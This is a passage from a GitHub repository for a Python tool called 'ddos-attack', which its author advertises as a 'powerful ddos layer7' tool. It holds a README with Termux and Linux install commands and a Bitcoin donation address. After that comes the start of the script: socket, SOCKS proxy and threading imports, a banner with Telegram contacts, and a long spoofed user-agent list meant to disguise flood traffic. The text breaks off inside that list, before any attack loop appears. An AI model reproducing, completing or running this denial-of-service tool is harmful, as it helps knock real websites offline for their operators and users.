├── README.md ├── Screenshot_20210819-113630.jpg ├── ddos-attack.py ├── img ├── proxy.txt └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # ddos-attack 2 | One of the best ddos 2021 tools made by me 3 | This script was paid, but I left it for you to use for free, I hope you do not forget the support. 4 | 5 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 6 | 7 | Installation for termux: 8 | 9 | apt update 10 | 11 | apt upgrade 12 | 13 | pkg install git 14 | 15 | pkg install python 16 | 17 | pkg install python2 18 | 19 | pip install requests 20 | 21 | git clone https://github.com/noobhackers008/ddos-attack 22 | 23 | pip install -r requirements.txt 24 | 25 | cd ddos-attack 26 | 27 | python3 ddos-attack.py 28 | 29 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 30 | 31 | Installation for linux : 32 | 33 | sudo apt install git 34 | 35 | sudo apt install python 36 | 37 | pip3 install requests 38 | 39 | git clone https://github.com/noobhackers008/ddos-attack 40 | 41 | pip3 install -r requirements.txt 42 | 43 | cd ddos-attack 44 | 45 | python3 ddos-attack.py 46 | 47 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 48 | 49 | donations : 50 | 51 | If you like this tool and it was useful for you, give us help and energy 52 | 53 | bitcoin cash (btc) = bc1qxfrdfjs42wamrs2lupeda3lek8uq9eqvr354lv 54 | 55 | thanks a lot :) 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /Screenshot_20210819-113630.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/noobhackers008/ddos-attack/47638fa844003942c3475bb928e0729c967a85ba/Screenshot_20210819-113630.jpg -------------------------------------------------------------------------------- /ddos-attack.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import socks 3 | import threading 4 | import random 5 | import re 6 | import urllib.request 7 | import os 8 | import sys 9 | 10 | 11 | print(''' 12 | 13 | 14 | made by noobhackers008 15 | 16 | my Telegram channel ===>>> t.me/bomber80_sms_help 17 | 18 | my telegram id ===>>> t.me/noobhackers008 19 | 20 | powerful ddos "layer7" 21 | ''') 22 | 23 | 24 | 25 | useragents=["AdsBot-Google ( http://www.google.com/adsbot.html)", 26 | "Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)", 27 | "Baiduspider ( http://www.baidu.com/search/spider.htm)", 28 | "BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103", 29 | "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)", 30 | "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0", 31 | "BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100", 32 | "BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105", 33 | "BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102", 34 | "BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0", 35 | "BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123", 36 | "Bloglines/3.1 (http://www.bloglines.com)", 37 | "CSSCheck/1.2.2", 38 | "Dillo/2.0", 39 | "DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)", 40 | "DoCoMo/2.0 SH901iC(c100;TB;W24H12)", 41 | "Download Demon/3.5.0.11", 42 | "ELinks/0.12~pre5-4", 43 | "ELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)", 44 | "ELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)", 45 | "EmailWolf 1.00", 46 | "everyfeed-spider/2.0 (http://www.everyfeed.com)", 47 | "facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)", 48 | "FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)", 49 | "FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)", 50 | "Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)", 51 | "Googlebot/2.1 ( http://www.googlebot.com/bot.html)", 52 | "Googlebot-Image/1.0", 53 | "Googlebot-News", 54 | "Googlebot-Video/1.0", 55 | "Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)", 56 | "grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)", 57 | "Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)", 58 | "HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 59 | "HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0", 60 | "HTMLParser/1.6", 61 | "iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)", 62 | "iTunes/9.0.2 (Windows; N)", 63 | "iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)", 64 | "Java/1.6.0_13", 65 | "Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0", 66 | "Konqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)", 67 | "LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1", 68 | "LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1", 69 | "libwww-perl/5.820", 70 | "Links/0.9.1 (Linux 2.4.24; i386;)", 71 | "Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)", 72 | "Links (2.1pre15; Linux 2.4.26 i686; 158x61)", 73 | "Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)", 74 | "Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12", 75 | "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d", 76 | "Mediapartners-Google", 77 | "Microsoft URL Control - 6.00.8862", 78 | "Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2) ", 79 | "MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0", 80 | "MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0", 81 | "MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0", 82 | "MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0", 83 | "Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1", 84 | "Mozilla/2.02E (Win95; U)", 85 | "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)", 86 | "Mozilla/3.01Gold (Win95; I)", 87 | "Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)", 88 | "Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)", 89 | "Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)", 90 | "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)", 91 | "Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)", 92 | "Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)", 93 | "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)", 94 | "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )", 95 | "Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5", 96 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320", 97 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)", 98 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0", 99 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", 100 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", 101 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; winfx; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.0) ", 102 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", 103 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)", 104 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)", 105 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)", 106 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6", 107 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)", 108 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)", 109 | "Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0", 110 | "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)", 111 | "Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]", 112 | "Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)", 113 | "Mozilla/4.8 [en] (Windows NT 5.1; U)", 114 | "Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)", 115 | "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", 116 | "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 117 | "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a", 118 | "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1", 119 | "Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)", 120 | "Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot) ", 121 | "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)", 122 | "Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;", 123 | "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)", 124 | "Mozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)", 125 | "Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)", 126 | "Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)", 127 | "Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)", 128 | "Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)", 129 | "Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0", 130 | "Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11", 131 | "Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu", 132 | "Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12", 133 | "Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)", 134 | "Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)", 135 | "Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)", 136 | "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", 137 | "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0", 138 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", 139 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)", 140 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)", 141 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)", 142 | "Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)", 143 | "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", 144 | "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13", 145 | "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0", 146 | "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10", 147 | "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", 148 | "Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5", 149 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200", 150 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16", 151 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7", 152 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", 153 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190", 154 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)", 155 | "Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3", 156 | "Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20", 157 | "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145", 158 | "Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522 (KHTML, like Gecko) Safari/419.3", 159 | "Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2", 160 | "Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2", 161 | "Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 162 | "Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 163 | "Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3", 164 | "Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 165 | "Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 166 | "Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 167 | "Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 168 | "Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1", 169 | "Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 170 | "Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 171 | "Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 172 | "Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1", 173 | "Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 174 | "Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 175 | "Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 176 | "Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 177 | "Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 178 | "Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17", 179 | "Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 180 | "Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 181 | "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 182 | "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 183 | "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", 184 | "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1", 185 | "Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", 186 | "Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", 187 | "Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2", 188 | "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 189 | "Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", 190 | "Mozilla/5.0 (Linux U; en-US) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)", 191 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1", 192 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2", 193 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7", 194 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", 195 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1", 196 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre", 197 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0", 198 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0", 199 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1", 200 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1", 201 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10", 202 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", 203 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0", 204 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17", 205 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8", 206 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5", 207 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10", 208 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3", 209 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", 210 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13", 211 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", 212 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14", 213 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8", 214 | "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941", 215 | "Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 ", 216 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3", 217 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15", 218 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8", 219 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8", 220 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3", 221 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15", 222 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3", 223 | "Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1", 224 | "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1", 225 | "Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13", 226 | "Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13", 227 | "Mozilla/5.0 (PLAYSTATION 3; 1.10)", 228 | "Mozilla/5.0 (PLAYSTATION 3; 2.00)", 229 | "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41", 230 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba", 231 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba", 232 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba", 233 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba", 234 | "Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 